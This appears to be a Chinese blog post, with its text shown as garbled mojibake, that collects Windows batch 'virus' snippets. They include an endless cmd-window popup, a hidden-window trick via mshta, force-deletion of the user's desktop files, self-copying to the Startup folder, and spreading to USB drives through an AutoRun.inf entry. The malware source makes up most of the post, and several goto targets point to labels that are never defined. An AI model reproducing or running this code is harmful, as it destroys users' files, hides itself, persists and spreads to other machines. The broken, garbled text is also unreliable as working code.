bat病毒代码介绍
下面是從網(wǎng)上匯總和自己編寫(xiě)的,轉(zhuǎn)載轉(zhuǎn)載請(qǐng)注明出處
無(wú)限彈窗病毒
@echo off
::這一行的意思是關(guān)閉回顯
:start
::運(yùn)行某程序
cmd
::開(kāi)始運(yùn)行命令提示符
goto 1
::從第一行開(kāi)始運(yùn)行
@echo off
::隱藏運(yùn)行窗口功能
if "%1" == "h" goto begin?
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit?
:start
::在C盤(pán)儲(chǔ)存桌面副本
xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul
::清空桌面
del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul
goto 1
::開(kāi)機(jī)自啟功能
xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto open
:scan
::U盤(pán)傳播功能
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drivetype %%i: | findstr /i "可移動(dòng)驅(qū)動(dòng)器" >nul 2>nul && set find=1
if defined find (
xcopy "%0" "%%i"
Echo [autorun]>>%%i\AutoRun.inf
Echo Open=FoolDay.bat>>%%i\AutoRun.inf
attrib +H %%i\AutoRun.inf
goto start1
)
)
goto start1
總結(jié)
- 上一篇: 项目管理学习总结(11)——项目管理怎么
- 下一篇: 国内外cms网站大全